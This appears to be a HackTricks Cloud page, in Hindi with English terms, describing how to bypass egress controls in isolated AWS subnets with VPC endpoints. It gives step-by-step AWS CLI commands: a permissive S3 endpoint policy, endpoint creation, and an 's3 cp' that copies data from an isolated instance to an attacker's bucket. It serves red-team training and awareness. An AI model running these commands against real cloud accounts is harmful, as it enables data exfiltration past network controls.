AWS – Isolated Subnets से Egress बाईपास (VPC Endpoints के माध्यम से)
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
सारांश
यह तकनीक VPC Endpoints का दुरुपयोग करके उन subnets से exfiltration channels बनाती है जिनमें Internet Gateways या NAT नहीं होते। Gateway endpoints (e.g., S3) subnet route tables में prefix‑list routes जोड़ते हैं; Interface endpoints (e.g., execute-api, secretsmanager, ssm, आदि) reachable ENIs बनाते हैं जिनके private IPs security groups द्वारा संरक्षित होते हैं। न्यूनतम VPC/EC2 permissions के साथ, एक attacker controlled egress सक्षम कर सकता है जो public Internet से होकर नहीं गुजरता।
पूर्वआवश्यकताएँ: मौजूदा VPC और private subnets (no IGW/NAT)। आपको VPC endpoints बनाने की permissions चाहिए होंगी और, Option B के लिए, endpoint ENIs से जोड़ने के लिए एक security group चाहिए होगा।
Option A – S3 Gateway VPC Endpoint
वेरिएबल्स
REGION=us-east-1VPC_ID=<target vpc>RTB_IDS=<comma-separated route table IDs of private subnets>
- एक permissive endpoint policy फ़ाइल बनाएं (वैकल्पिक)। इसे
allow-put-get-any-s3.jsonके रूप में सेव करें:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
- S3 Gateway endpoint बनाएं (चयनित route tables में S3 prefix‑list route जोड़ता है):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json # optional
कैप्चर करने के लिए साक्ष्य:
aws ec2 describe-route-tables --route-table-ids $RTB_IDSAWS S3 prefix list की ओर एक route दिखाता है (उदा.,DestinationPrefixListId=pl-..., GatewayId=vpce-...).- उन सबनेट्स में किसी instance से (IAM perms के साथ) आप Internet के बिना S3 के माध्यम से exfil कर सकते हैं:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
Option B – Interface VPC Endpoint for API Gateway (execute-api)
वेरिएबल्स
REGION=us-east-1VPC_ID=<target vpc>SUBNET_IDS=<comma-separated private subnets>SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
- इंटरफ़ेस endpoint बनाएँ और SG संलग्न करें:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled
साक्ष्य जो कैप्चर करने हैं:
aws ec2 describe-vpc-endpointsदिखाता है कि endpointavailableस्थिति में है औरNetworkInterfaceIdsके साथ (आपके subnets में ENIs)।- उन subnets के Instances उन VPCE ENIs के माध्यम से Private API Gateway endpoints तक पहुँच सकते हैं (कोई Internet path आवश्यक नहीं)।
प्रभाव
- AWS‑managed private paths का उपयोग करके perimeter egress controls को बायपास करता है ताकि AWS services तक पहुँच संभव हो।
- IGW/NAT के बिना isolated subnets से data exfiltration सक्षम करता है (उदा., S3 पर लिखना; Private API Gateway को कॉल करना; Secrets Manager/SSM/STS, आदि तक पहुँचना)।
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud